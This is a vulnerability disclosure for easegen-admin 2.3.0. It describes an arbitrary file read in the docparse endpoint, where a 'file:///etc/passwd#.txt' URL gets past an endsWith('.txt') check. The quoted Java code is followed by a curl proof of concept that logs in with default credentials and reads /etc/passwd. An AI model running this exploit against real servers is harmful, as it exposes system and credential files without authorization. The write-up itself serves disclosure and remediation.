NeverStopExploiting用户9473
Arbitrary File Read via docparse Endpoint in easegen-admin 2.3.0
输入“/”快速插入内容
Arbitrary File Read via docparse Endpoint in easegen-admin 2.3.0
Arbitrary File Read via docparse Endpoint in easegen-admin 2.3.0
用户9473用户94733月5日修改
BUG_Author: Chengxin Xu
Affected Version: easegen-admin (easegen-admin-main)
Vulnerability Files:
•
yudao-module-digitalcourse/yudao-module-digitalcourse-biz/src/main/java/cn/iocoder/yudao/module/digitalcourse/controller/admin/courses/AppCoursesController.java
•
yudao-module-digitalcourse/yudao-module-digitalcourse-biz/src/main/java/cn/iocoder/yudao/module/digitalcourse/util/Pdf2MdUtil.java
Description
The easegen-admin application contains a critical arbitrary file read vulnerability in the document parsing functionality. The /admin-api/digitalcourse/courses/docparse endpoint accepts a user-controlled fileUrl parameter that is improperly validated, allowing attackers to read arbitrary files from the server's filesystem using the file:// protocol.
Arbitrary File Read via Document Parse Endpoint (/admin-api/digitalcourse/courses/docparse)
The vulnerability chain starts from the AppCoursesController.docparse() endpoint. When processing document parsing requests, the application fails to validate the URL protocol, allowing file:// URLs to bypass security checks.
Entry Point (AppCoursesController.java:182-194):
代码块
@PostMapping("/docparse")
public CommonResult<String> docparse(@RequestBody Map<String, Object> requestParams) {
String type = (String) requestParams.get("type");
String fileUrl = (String) requestParams.get("fileUrl"); // User-controlled input
try {
String responseString = pdf2MdUtil.recognizeMarkdown(fileUrl, type);
return CommonResult.success(responseString);
} catch (Exception e) {
e.printStackTrace();
return error(500, "Internal Server Error: " + e.getMessage());
}
}
The fileUrl parameter is passed directly to pdf2MdUtil.recognizeMarkdown() without any protocol validation.
Vulnerable Code (Pdf2MdUtil.java:42-46):
The code checks if the URL ends with .txt using String.endsWith(), but this check can be bypassed using URL fragments (the # character). When a URL like file:///etc/passwd#.txt is provided
代码块
public String recognizeMarkdown(String fileUrl, String type) throws IOException, InterruptedException {
if (fileUrl.endsWith(".txt")) {
// Handle txt files directly
// VULNERABILITY: Reads from local filesystem using URL path
return new String(Files.readAllBytes(Paths.get(new URL(fileUrl).getPath())));
}
// ... rest of the code
}
Proof of Concept
Prerequisites
•
Authenticated account
Step 1: Obtain Authentication Token
代码块
curl -X POST http://localhost:48080/admin-api/system/auth/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"admin123"}'
Step 2: Exploit Arbitrary File Read
代码块
curl -X POST "http://127.0.0.1:48080/admin-api/digitalcourse/courses/docparse" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer 8b1b73257307421fa076da3272301055" \
-d '{
"type": "text",
"fileUrl": "file:///etc/passwd#.txt"
}'